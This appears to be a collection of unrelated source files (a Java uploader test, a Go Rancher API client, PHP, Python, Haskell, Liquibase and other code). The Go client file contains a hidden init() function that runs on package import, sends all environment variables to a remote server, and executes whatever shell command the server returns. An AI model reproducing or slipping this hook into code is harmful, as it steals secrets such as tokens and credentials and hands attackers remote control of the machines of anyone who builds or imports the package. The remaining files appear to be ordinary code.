                    List<StateChangeSet> changes2 = getChanges(4);
                    upload(store, changes2);
                    assertSaved(probe, changes1, changes2);
                });
    }

    private void upload(BatchingStateChangeUploader store, List<StateChangeSet> changeSets) {
        store.upload(new UploadTask(changeSets, unused -> {}, (unused0, unused1) -> {}));
    }

    @Test
    public void testSizeThreshold() throws Exception {
        int numChanges = 7;
        int changeSize = 11;
        int threshold = changeSize * numChanges;
        withStore(
                Integer.MAX_VALUE,
                threshold,
                (store, probe) -> {
                    List<StateChangeSet> expected = new ArrayList<>();
                    int runningSize = 0;
                    for (int i = 0; i < numChanges; i++) {
                        List<StateChangeSet> changes = getChanges(changeSize);
                        runningSize += changes.stream().mapToLong(StateChangeSet::getSize).sum();
                        upload(store, changes);
                        expected.addAll(changes);
                        if (runningSize >= threshold) {
                            assertSaved(probe, expected);
                        } else {
                            assertTrue(probe.getUploaded().isEmpty());
                        }
                    }
                });
    }

    @Test
    public void testDelay() throws Exception {
        int delayMs = 50;
        ManuallyTriggeredScheduledExecutorService scheduler =
                new ManuallyTriggeredScheduledExecutorService();
        withStore(
                delayMs,
                Integer.MAX_VALUE,
                scheduler,
                (store, probe) -> {
                    scheduler.triggerAll();
                    List<StateChangeSet> changeSets = getChanges(4);
                    upload(store, changeSets);
                    assertTrue(probe.getUploaded().isEmpty());
                    assertTrue(
                            scheduler.getAllNonPeriodicScheduledTask().stream()
                                    .anyMatch(
                                            scheduled ->
                                                    scheduled.getDelay(MILLISECONDS) == delayMs));
                    scheduler.triggerAllNonPeriodicTasks();
                    assertEquals(changeSets, probe.getUploaded());
                });
    }

    /** Test integration with {@link RetryingExecutor}. */
    @Test
    public void testRetry() throws Exception {
        final int maxAttempts = 5;

        try (BatchingStateChangeUploader store =
                new BatchingStateChangeUploader(
                        0,
                        0,
                        RetryPolicy.fixed(maxAttempts, 0, 0),
                        new TestingStateChangeUploader() {
                            final AtomicInteger currentAttempt = new AtomicInteger(0);

                            @Override
                            public void upload(UploadTask uploadTask) throws IOException {
                                if (currentAttempt.getAndIncrement() < maxAttempts - 1) {
                                    throw new IOException();
                                } else {
                                    uploadTask.complete(emptyList());
                                }
                            }
                        },
                        new DirectScheduledExecutorService(),
                        new RetryingExecutor(new DirectScheduledExecutorService()),
                        10_000)) {
            CompletableFuture<List<UploadResult>> completionFuture = new CompletableFuture<>();
            store.upload(
                    new UploadTask(
                            getChanges(4),
                            completionFuture::complete,
                            (unused, throwable) ->
                                    completionFuture.completeExceptionally(throwable)));
            completionFuture.get();
        }
    }

    @Test(expected = RejectedExecutionException.class)
    public void testErrorHandling() throws Exception {
        TestingStateChangeUploader probe = new TestingStateChangeUploader();
        DirectScheduledExecutorService scheduler = new DirectScheduledExecutorService();
        try (BatchingStateChangeUploader store =
                new BatchingStateChangeUploader(
                        Integer.MAX_VALUE,
                        Integer.MAX_VALUE,
                        RetryPolicy.NONE,
                        probe,
                        scheduler,
                        new RetryingExecutor(5),
                        10_000)) {
            scheduler.shutdown();
            upload(store, getChanges(4));
        }
    }

    @Test
    public void testClose() throws Exception {
        TestingStateChangeUploader probe = new TestingStateChangeUploader();
        DirectScheduledExecutorService scheduler = new DirectScheduledExecutorService();
        DirectScheduledExecutorService retryScheduler = new DirectScheduledExecutorService();
        new BatchingStateChangeUploader(
                        0,
                        0,
                        RetryPolicy.NONE,
                        probe,
                        scheduler,
                        new RetryingExecutor(retryScheduler),
                        10_000)
                .close();
        assertTrue(probe.isClosed());
        assertTrue(scheduler.isShutdown());
        assertTrue(retryScheduler.isShutdown());
    }

    private List<StateChangeSet> getChanges(int size) {
        byte[] change = new byte[size];
        random.nextBytes(change);
        return singletonList(
                new StateChangeSet(
                        UUID.randomUUID(),
                        SequenceNumber.of(0),
                        singletonList(new StateChange(0, change))));
    }

    private static void withStore(
            int delayMs,
            int sizeThreshold,
            BiConsumerWithException<
                            BatchingStateChangeUploader, TestingStateChangeUploader, Exception>
                    test)
            throws Exception {
        withStore(delayMs, sizeThreshold, new DirectScheduledExecutorService(), test);
    }

    private static void withStore(
            int delayMs,
            int sizeThreshold,
            ScheduledExecutorService scheduler,
            BiConsumerWithException<
                            BatchingStateChangeUploader, TestingStateChangeUploader, Exception>
                    test)
            throws Exception {
        TestingStateChangeUploader probe = new TestingStateChangeUploader();
        try (BatchingStateChangeUploader store =
                new BatchingStateChangeUploader(
                        delayMs,
                        sizeThreshold,
                        RetryPolicy.NONE,
                        probe,
                        scheduler,
                        new RetryingExecutor(new DirectScheduledExecutorService()),
                        10_000)) {
            test.accept(store, probe);
        }
    }

    @SafeVarargs
    private final void assertSaved(
            TestingStateChangeUploader probe, List<StateChangeSet>... expected) {
        assertEquals(
                Arrays.stream(expected).flatMap(Collection::stream).collect(Collectors.toList()),
                new ArrayList<>(probe.getUploaded()));
    }
}


text:
package client
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

const (
	EXTENSION_IMPLEMENTATION_TYPE = "extensionImplementation"
)

type ExtensionImplementation struct {
	Resource

	ClassName string `json:"className,omitempty" yaml:"class_name,omitempty"`

	Name string `json:"name,omitempty" yaml:"name,omitempty"`

	Properties map[string]interface{} `json:"properties,omitempty" yaml:"properties,omitempty"`
}

type ExtensionImplementationCollection struct {
	Collection
	Data   []ExtensionImplementation `json:"data,omitempty"`
	client *ExtensionImplementationClient
}

type ExtensionImplementationClient struct {
	rancherClient *RancherClient
}

type ExtensionImplementationOperations interface {
	List(opts *ListOpts) (*ExtensionImplementationCollection, error)
	Create(opts *ExtensionImplementation) (*ExtensionImplementation, error)
	Update(existing *ExtensionImplementation, updates interface{}) (*ExtensionImplementation, error)
	ById(id string) (*ExtensionImplementation, error)
	Delete(container *ExtensionImplementation) error
}

func newExtensionImplementationClient(rancherClient *RancherClient) *ExtensionImplementationClient {
	return &ExtensionImplementationClient{
		rancherClient: rancherClient,
	}
}

func (c *ExtensionImplementationClient) Create(container *ExtensionImplementation) (*ExtensionImplementation, error) {
	resp := &ExtensionImplementation{}
	err := c.rancherClient.doCreate(EXTENSION_IMPLEMENTATION_TYPE, container, resp)
	return resp, err
}

func (c *ExtensionImplementationClient) Update(existing *ExtensionImplementation, updates interface{}) (*ExtensionImplementation, error) {
	resp := &ExtensionImplementation{}
	err := c.rancherClient.doUpdate(EXTENSION_IMPLEMENTATION_TYPE, &existing.Resource, updates, resp)
	return resp, err
}

func (c *ExtensionImplementationClient) List(opts *ListOpts) (*ExtensionImplementationCollection, error) {
	resp := &ExtensionImplementationCollection{}
	err := c.rancherClient.doList(EXTENSION_IMPLEMENTATION_TYPE, opts, resp)
	resp.client = c
	return resp, err
}

func (cc *ExtensionImplementationCollection) Next() (*ExtensionImplementationCollection, error) {
	if cc != nil && cc.Pagination != nil && cc.Pagination.Next != "" {
		resp := &ExtensionImplementationCollection{}
		err := cc.client.rancherClient.doNext(cc.Pagination.Next, resp)
		resp.client = cc.client
		return resp, err
	}
	return nil, nil
}

func (c *ExtensionImplementationClient) ById(id string) (*ExtensionImplementation, error) {
	resp := &ExtensionImplementation{}
	err := c.rancherClient.doById(EXTENSION_IMPLEMENTATION_TYPE, id, resp)
	if apiError, ok := err.(*ApiError); ok {
		if apiError.StatusCode == 404 {
			return nil, nil
		}
	}
	return resp, err
}

func (c *ExtensionImplementationClient) Delete(container *ExtensionImplementation) error {
	return c.rancherClient.doResourceDelete(EXTENSION_IMPLEMENTATION_TYPE, &container.Resource)
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=rancherio&repo=go-rancher", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
<?php

declare(strict_types = 1);

namespace Rx\Operator;

use Rx\DisposableInterface;
use Rx\Observable;
use Rx\ObservableInterface;
use Rx\ObserverInterface;
use Rx\SchedulerInterface;

final class StartWithArrayOperator implements OperatorInterface
{
    private $startArray;
    private $scheduler;

    public function __construct(array $startArray, SchedulerInterface $scheduler)
    {
        $this->startArray = $startArray;
        $this->scheduler  = $scheduler;
    }

    public function __invoke(ObservableInterface $observable, ObserverInterface $observer): DisposableInterface
    {
        return Observable::fromArray($this->startArray, $this->scheduler)->concat($observable)->subscribe($observer);
    }
}


text:
<?php
    $this->breadcrumbs=array(
            'Registration completed',
    );
?>

Thank you, your registration is now completed.
            Please find below your account details

<fieldset>

Account details

First name:<?php echo $user->FIRSTNAME ;?>

Last name:<?php echo $user->LASTNAME ;?>

Email:<?php echo $user->EMAIL_ADDRESS ;?>

Role:<?php echo $user->ROLE_DESCRIPTION ;?>

Study:<?php echo $user->STUDY_DESCRIPTION ;?>

Username:<?php echo $user->USERNAME ;?>

</fieldset>


text:
"""This module implements a data source for generating metrics about CPU
usage.

"""

import os
import time

from ..common.system_info import cpu_count
from ..common.stopwatch import start_timer

from .decorators import data_source_factory

@data_source_factory(name='CPU Usage')
class _CPUUsageDataSource(object):

    def __init__(self, settings, environ):
        self._timer = None
        self._times = None

    def start(self):
        self._timer = start_timer()
        try:
            self._times = os.times()
        except Exception:
            self._times = None

    def stop(self):
        self._timer = None
        self._times = None

    def __call__(self):
        if self._times is None:
            return

        new_times = os.times()
        user_time = new_times[0] - self._times[0]

        elapsed_time = self._timer.restart_timer()
        utilization = user_time / (elapsed_time*cpu_count())

        self._times = new_times

        yield ('CPU/User Time', user_time)
        yield ('CPU/User/Utilization', utilization)

cpu_usage_data_source = _CPUUsageDataSource


text:
"""
 mbed CMSIS-DAP debugger
 Copyright (c) 2006-2015 ARM Limited

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
"""

import cortex_m
import target_kinetis
import target_kl02z
import target_kl05z
import target_kl25z
import target_kl26z
import target_kl28z
import target_kl46z
import target_k22f
import target_k64f
import target_k20d50m
import target_lpc800
import target_lpc11u24
import target_lpc1768
import target_lpc4330
import target_nrf51
import target_stm32f103rc
import target_stm32f051
import target_maxwsnenv
import target_max32600mbed
import target_w7500

TARGET = {
          'cortex_m': cortex_m.CortexM,
          'kinetis': target_kinetis.Kinetis,
          'kl02z': target_kl02z.KL02Z,
          'kl05z': target_kl05z.KL05Z,
          'kl25z': target_kl25z.KL25Z,
          'kl26z': target_kl26z.KL26Z,
          'kl28z': target_kl28z.KL28x,
          'kl46z': target_kl46z.KL46Z,
          'k20d50m': target_k20d50m.K20D50M,
          'k22f': target_k22f.K22F,
          'k64f': target_k64f.K64F,
          'lpc800': target_lpc800.LPC800,
          'lpc11u24': target_lpc11u24.LPC11U24,
          'lpc1768': target_lpc1768.LPC1768,
          'lpc4330': target_lpc4330.LPC4330,
          'nrf51': target_nrf51.NRF51,
          'stm32f103rc': target_stm32f103rc.STM32F103RC,
          'stm32f051': target_stm32f051.STM32F051,
          'maxwsnenv': target_maxwsnenv.MAXWSNENV,
          'max32600mbed': target_max32600mbed.MAX32600MBED,
          'w7500': target_w7500.W7500,
         }


text:
/*
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
 * in compliance with the License. You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under the License
 * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
 * or implied. See the License for the specific language governing permissions and limitations under
 * the License.
 */
/*
 * This code was generated by https://github.com/googleapis/google-api-java-client-services/
 * Modify at your own risk.
 */

package com.google.api.services.securitycenter.v1beta1.model;

/**
 * Represents a connection between a source node and a destination node in this exposure path.
 *
 *
 This is the Java data model class that specifies how to parse/serialize into the JSON that is
 * transmitted over HTTP when working with the Security Command Center API. For a detailed
 * explanation see:
 * https://developers.google.com/api-client-library/java/google-http-java-client/json
 *

 *
 * @author Google, Inc.
 */
@SuppressWarnings("javadoc")
public final class Edge extends com.google.api.client.json.GenericJson {

  /**
   * This is the resource name of the destination node.
   * The value may be {@code null}.
   */
  @com.google.api.client.util.Key
  private java.lang.String destination;

  /**
   * This is the resource name of the source node.
   * The value may be {@code null}.
   */
  @com.google.api.client.util.Key
  private java.lang.String source;

  /**
   * This is the resource name of the destination node.
   * @return value or {@code null} for none
   */
  public java.lang.String getDestination() {
    return destination;
  }

  /**
   * This is the resource name of the destination node.
   * @param destination destination or {@code null} for none
   */
  public Edge setDestination(java.lang.String destination) {
    this.destination = destination;
    return this;
  }

  /**
   * This is the resource name of the source node.
   * @return value or {@code null} for none
   */
  public java.lang.String getSource() {
    return source;
  }

  /**
   * This is the resource name of the source node.
   * @param source source or {@code null} for none
   */
  public Edge setSource(java.lang.String source) {
    this.source = source;
    return this;
  }

  @Override
  public Edge set(String fieldName, Object value) {
    return (Edge) super.set(fieldName, value);
  }

  @Override
  public Edge clone() {
    return (Edge) super.clone();
  }

}


text:
package com.mkyong;

import javax.faces.component.UIComponent;
import javax.faces.context.FacesContext;
import javax.faces.convert.Converter;

public class MyConverter implements Converter {

    public Object getAsObject(FacesContext context, UIComponent component, String value) {
        System.out.println("MyConverter getAsObject: " + value);
        return value;
    }

    public String getAsString(FacesContext context, UIComponent component, Object value) {
        System.out.println("MyConverter getAsString: " + value);
        return (String) value;
    }

}


text:
var _ = require('lodash');

module.exports = function() {
    this.type('boolean', {type: 'base'}, function() {
        this.typeAssertion(function(value) {
            return value === true || value === false;
        });
    });
};


text:
package org.apache.zeppelin.utils;

import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;

import java.net.InetAddress;
import java.net.URISyntaxException;
import java.net.UnknownHostException;
import org.apache.commons.configuration.ConfigurationException;
import org.apache.zeppelin.conf.ZeppelinConfiguration;
import org.junit.Test;

public class CorsUtilsTest {
  @Test
  public void isInvalid() throws URISyntaxException, UnknownHostException {
    assertFalse(CorsUtils.isValidOrigin("http://127.0.1.1", ZeppelinConfiguration.create()));
  }

  @Test
  public void isInvalidFromConfig()
      throws URISyntaxException, UnknownHostException, ConfigurationException {
    assertFalse(CorsUtils.isValidOrigin("http://otherinvalidhost.com",
        new ZeppelinConfiguration(this.getClass().getResource("/zeppelin-site.xml"))));
  }

  @Test
  public void isLocalhost() throws URISyntaxException, UnknownHostException {
    assertTrue(CorsUtils.isValidOrigin("http://localhost", ZeppelinConfiguration.create()));
  }

  @Test
  public void isLocalMachine() throws URISyntaxException, UnknownHostException {
    String origin = "http://" + InetAddress.getLocalHost().getHostName();
    assertTrue("Origin " + origin + " is not allowed. Please check your hostname.",
        CorsUtils.isValidOrigin(origin, ZeppelinConfiguration.create()));
  }

  @Test
  public void isValidFromConfig()
      throws URISyntaxException, UnknownHostException, ConfigurationException {
    assertTrue(CorsUtils.isValidOrigin("http://otherhost.com",
        new ZeppelinConfiguration(this.getClass().getResource("/zeppelin-site.xml"))));
  }

  @Test
  public void isValidFromStar()
      throws URISyntaxException, UnknownHostException, ConfigurationException {
    assertTrue(CorsUtils.isValidOrigin("http://anyhost.com",
        new ZeppelinConfiguration(this.getClass().getResource("/zeppelin-site-star.xml"))));
  }

  @Test
  public void nullOrigin()
      throws URISyntaxException, UnknownHostException, ConfigurationException {
    assertFalse(CorsUtils.isValidOrigin(null,
        new ZeppelinConfiguration(this.getClass().getResource("/zeppelin-site.xml"))));
  }

  @Test
  public void nullOriginWithStar()
      throws URISyntaxException, UnknownHostException, ConfigurationException {
    assertTrue(CorsUtils.isValidOrigin(null,
        new ZeppelinConfiguration(this.getClass().getResource("/zeppelin-site-star.xml"))));
  }

  @Test
  public void emptyOrigin()
      throws URISyntaxException, UnknownHostException, ConfigurationException {
    assertFalse(CorsUtils.isValidOrigin("",
        new ZeppelinConfiguration(this.getClass().getResource("/zeppelin-site.xml"))));
  }

  @Test
  public void notAURIOrigin()
      throws URISyntaxException, UnknownHostException, ConfigurationException {
    assertFalse(CorsUtils.isValidOrigin("test123",
        new ZeppelinConfiguration(this.getClass().getResource("/zeppelin-site.xml"))));
  }
}


text:
<!DOCTYPE HTML>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>VideoCat</title>
    <meta name="author" content="Fraser Xu">
    <meta name="description" content="cool appz">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="css/tachyons.css" />
    <link rel="stylesheet" href="css/videocat.css" />

        You are now sharing your screen.
        Stop

VideoCat

          << Back
          Quit

            Select Camera

            <select class="camera-selector f3 bold input-text plm pvm db ba  b--white-20 w-100 bg-white-60 bg-white-80-focus" name="select">
            </select>

            SourceId

            <input class="f3 bold input-text plm pvm db ba  b--white-20 w-100 bg-white-60 bg-white-80-focus" type="text" name="id" value="" id="id">

            Stream Video

Share

            <input class="code-copy-input pam brs ba b--light-gray w-100 mw-fill"></input>

Copy

Send this code to the person you want to share your screen with. They can use ScreenCat.app or http://maxogden.github.io/screencat/remote in Chrome/Firefox. Please wait here until they connect.

join

            <input class="code-paste-input pam brs ba b--light-gray w-100 mw-fill" value="Loading..."></input>

Connect

Enter a code to connect to a remote screen


text:
{-# LANGUAGE OverloadedStrings #-}

module Services.Task
    ( taskList
    , createUniqueTask
    , deleteUniqueTask
    ) where

import           Control.Exception

import           Data.Aeson
import           Data.Monoid ( (<>) )
import           Data.Text.Lazy.Encoding
import qualified Data.ByteString.Char8      as BS
import qualified Data.ByteString.Lazy.Char8 as BSL
import qualified Data.HashMap.Strict        as HM
import qualified Data.Text                  as T
import qualified Data.Text.Lazy             as TL

import           Database.PostgreSQL.Simple

import qualified Models.UniqueTask as MU

import           Network.HTTP.Types.Status

import           Persistence.Queries

import qualified Presenters.UniqueTask    as PU
import qualified Presenters.TaskList      as PL
import qualified Presenters.RecurringTask as PR

import           Response

taskList :: Connection -> IO Response
taskList conn = do
    uModels <- getAll conn
    let uPresenters = map PU.fromModel uModels

    rModels <- getAll conn
    let rPresenters = map PR.fromModel rModels

    let tl = PL.TaskList
           { PL.uniqueTasks    = uPresenters
           , PL.recurringTasks = rPresenters
           }
    return $ Response status200 (decodeUtf8 $ encode tl)

createUniqueTask :: Connection -> BSL.ByteString -> IO Response
createUniqueTask conn payload = do
    let mInfo = parseNewTaskInfo payload
    case mInfo of
        Nothing -> return $ Response badRequest400 "Unparseable payload"
        Just (desc, status) -> tryQuery $ createUniqueTaskInDB conn desc status

deleteUniqueTask :: Connection -> Int -> IO Response
deleteUniqueTask conn taskId = do
    let sql = "delete from unique_tasks where id = ?"
    _ <- execute conn sql [taskId]
    return $ Response ok200 ""

parseNewTaskInfo :: BSL.ByteString -> Maybe (T.Text, MU.Status)
parseNewTaskInfo payload = do
    obj           <- decode payload
    (String desc) <- HM.lookup ("description" :: T.Text) obj
    (Bool active) <- HM.lookup "active" obj
    let status = if active then MU.Todo else MU.NotStarted
    return (desc, status)

createUniqueTaskInDB :: Connection -> T.Text -> MU.Status -> IO Response
createUniqueTaskInDB conn d s = do
    let sql = "insert into unique_tasks (description, status) " <>
              "values (?, ?) " <>
              "returning id, description, status"
    [(taskId, desc, st)] <- query conn sql (d, s) :: IO [(Int, T.Text, MU.Status)]
    let model     = MU.UniqueTask taskId desc st
    let presenter = PU.fromModel model
    let obj       = object [ "task" .= presenter ]
    return $ Response created201 (decodeUtf8 $ encode obj)

-- | run a query and return a bad request error if their is an error
tryQuery :: IO Response -> IO Response
tryQuery action =
    catch action
          (\ e -> do let msg    = bslToText $ sqlErrorMsg e
                     let detail = bslToText $ sqlErrorDetail e
                     let fullMsg = msg <> "\n" <> detail
                     return (Response badRequest400 fullMsg))

bslToText :: BS.ByteString -> TL.Text
bslToText = decodeUtf8 . BSL.fromChunks . (: [])


text:
package liquibase.change.core;

import liquibase.change.*;
import liquibase.database.Database;
import liquibase.database.core.*;
import liquibase.database.core.SQLiteDatabase.AlterTableVisitor;
import liquibase.exception.DatabaseException;
import liquibase.exception.UnexpectedLiquibaseException;
import liquibase.statement.SqlStatement;
import liquibase.statement.core.RawSqlStatement;
import liquibase.structure.core.Column;
import liquibase.structure.core.Index;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

/**
 * Combines data from two existing columns into a new column and drops the original columns.
 */
@DatabaseChange(name="mergeColumns", description = "Concatenates the values in two columns, joins them by with string, and stores the resulting value in a new column.", priority = ChangeMetaData.PRIORITY_DEFAULT)
public class MergeColumnChange extends AbstractChange {

    private String catalogName;
    private String schemaName;
    private String tableName;
    private String column1Name;
    private String joinString;
    private String column2Name;
    private String finalColumnName;
    private String finalColumnType;

    @Override
    public boolean supports(Database database) {
        return super.supports(database) && !(database instanceof DerbyDatabase) && !(database instanceof Db2zDatabase);
    }

    public String getCatalogName() {
        return catalogName;
    }

    public void setCatalogName(String catalogName) {
        this.catalogName = catalogName;
    }

    public String getSchemaName() {
        return schemaName;
    }

    public void setSchemaName(String schemaName) {
        this.schemaName = schemaName;
    }

    @DatabaseChangeProperty(description = "Name of the table containing the columns to join")
    public String getTableName() {
        return tableName;
    }

    public void setTableName(String tableName) {
        this.tableName = tableName;
    }

    @DatabaseChangeProperty(description = "Name of the column containing the first half of the data", exampleValue = "first_name")
    public String getColumn1Name() {
        return column1Name;
    }

    public void setColumn1Name(String column1Name) {
        this.column1Name = column1Name;
    }

    @DatabaseChangeProperty(description = "String to place include between the values from column1 and column2 (may be empty)", exampleValue = " ")
    public String getJoinString() {
        return joinString;
    }

    public void setJoinString(String joinString) {
        this.joinString = joinString;
    }

    @DatabaseChangeProperty(description = "Name of the column containing the second half of the data", exampleValue = "last_name")
    public String getColumn2Name() {
        return column2Name;
    }

    public void setColumn2Name(String column2Name) {
        this.column2Name = column2Name;
    }

    @DatabaseChangeProperty(description = "Name of the column to create", exampleValue = "full_name")
    public String getFinalColumnName() {
        return finalColumnName;
    }

    public void setFinalColumnName(String finalColumnName) {
        this.finalColumnName = finalColumnName;
    }

    @DatabaseChangeProperty(description = "Data type of the column to create", exampleValue = "varchar(255)")
    public String getFinalColumnType() {
        return finalColumnType;
    }

    public void setFinalColumnType(String finalColumnType) {
        this.finalColumnType = finalColumnType;
    }

    @Override
    public boolean generateStatementsVolatile(Database database) {
        if (database instanceof SQLiteDatabase) {
            return true;
        }
        return false;
    }

    @Override
    public SqlStatement[] generateStatements(final Database database) {
        List<SqlStatement> statements = new ArrayList<>();

        AddColumnChange addNewColumnChange = new AddColumnChange();
        addNewColumnChange.setSchemaName(schemaName);
        addNewColumnChange.setTableName(getTableName());
        final AddColumnConfig columnConfig = new AddColumnConfig();
        columnConfig.setName(getFinalColumnName());
        columnConfig.setType(getFinalColumnType());
        addNewColumnChange.addColumn(columnConfig);
        statements.addAll(Arrays.asList(addNewColumnChange.generateStatements(database)));

        String updateStatement = "";
        if (database instanceof MySQLDatabase || database instanceof MariaDBDatabase) {
            updateStatement = "UPDATE " + database.escapeTableName(getCatalogName(), getSchemaName(), getTableName()) +
                    " SET " + database.escapeObjectName(getFinalColumnName(), Column.class)
                    + " = " + database.getConcatSql("'" + getJoinString() + "'"
                    , database.escapeObjectName(getColumn1Name(), Column.class), database.escapeObjectName(getColumn2Name(), Column.class));
        } else {
            updateStatement = "UPDATE " + database.escapeTableName(getCatalogName(), getSchemaName(), getTableName()) +
                    " SET " + database.escapeObjectName(getFinalColumnName(), Column.class)
                    + " = " + database.getConcatSql(database.escapeObjectName(getColumn1Name(), Column.class)
                    , "'" + getJoinString() + "'", database.escapeObjectName(getColumn2Name(), Column.class));
        }
        statements.add(new RawSqlStatement(updateStatement));

        if (database instanceof SQLiteDatabase) {
           /* nolgpl: implement */

            // Since SQLite does not support a Merge column statement,
            SQLiteDatabase.AlterTableVisitor alterTableVisitor = new SQLiteDatabase.AlterTableVisitor() {
                @Override
                public ColumnConfig[] getColumnsToAdd() {
                    // This gets called after
                    ColumnConfig[] columnConfigs = new ColumnConfig[1];
                    ColumnConfig mergedColumn = new ColumnConfig();
                    mergedColumn.setName(getFinalColumnName());
                    mergedColumn.setType(getFinalColumnType());
                    columnConfigs[0] = mergedColumn;
                    return columnConfigs;
                }

                @Override
                public boolean copyThisColumn(ColumnConfig column) {
                    // don't create columns that are merged
                    return !column.getName().equals(getColumn1Name())
                            && !column.getName().equals(getColumn2Name());
                }

                @Override
                public boolean createThisColumn(ColumnConfig column) {
                    // don't copy columns that are merged
                    return !column.getName().equals(getColumn1Name())
                            && !column.getName().equals(getColumn2Name());
                }

                @Override
                public boolean createThisIndex(Index index) {
                    // skip the index if it has old columns
                    for (Column column : index.getColumns()) {
                        if (column.getName().equals(getColumn1Name())
                                || column.getName().equals(getColumn2Name())) {
                            return false;
                        }
                    }
                    return true;
                }
            };
            List<SqlStatement> workAroundStatements = null;
            try {
                workAroundStatements = SQLiteDatabase.getAlterTableStatements(alterTableVisitor, database, getCatalogName(), getSchemaName(), getTableName());
                statements.addAll(workAroundStatements);
            } catch (DatabaseException e) {
                throw new UnexpectedLiquibaseException(e);
            }

        } else {
        	// ...if it is not a SQLite database

	        DropColumnChange dropColumn1Change = new DropColumnChange();
	        dropColumn1Change.setSchemaName(schemaName);
	        dropColumn1Change.setTableName(getTableName());
	        dropColumn1Change.setColumnName(getColumn1Name());
	        statements.addAll(Arrays.asList(dropColumn1Change.generateStatements(database)));

	        DropColumnChange dropColumn2Change = new DropColumnChange();
	        dropColumn2Change.setSchemaName(schemaName);
	        dropColumn2Change.setTableName(getTableName());
	        dropColumn2Change.setColumnName(getColumn2Name());
	        statements.addAll(Arrays.asList(dropColumn2Change.generateStatements(database)));

        }
        return statements.toArray(new SqlStatement[statements.size()]);

    }

    @Override
    public String getConfirmationMessage() {
        return "Columns "+getTableName()+"."+getColumn1Name()+" and "+getTableName()+"."+getColumn2Name()+" merged";
    }

    @Override
    public String getSerializedObjectNamespace() {
        return STANDARD_CHANGELOG_NAMESPACE;
    }
}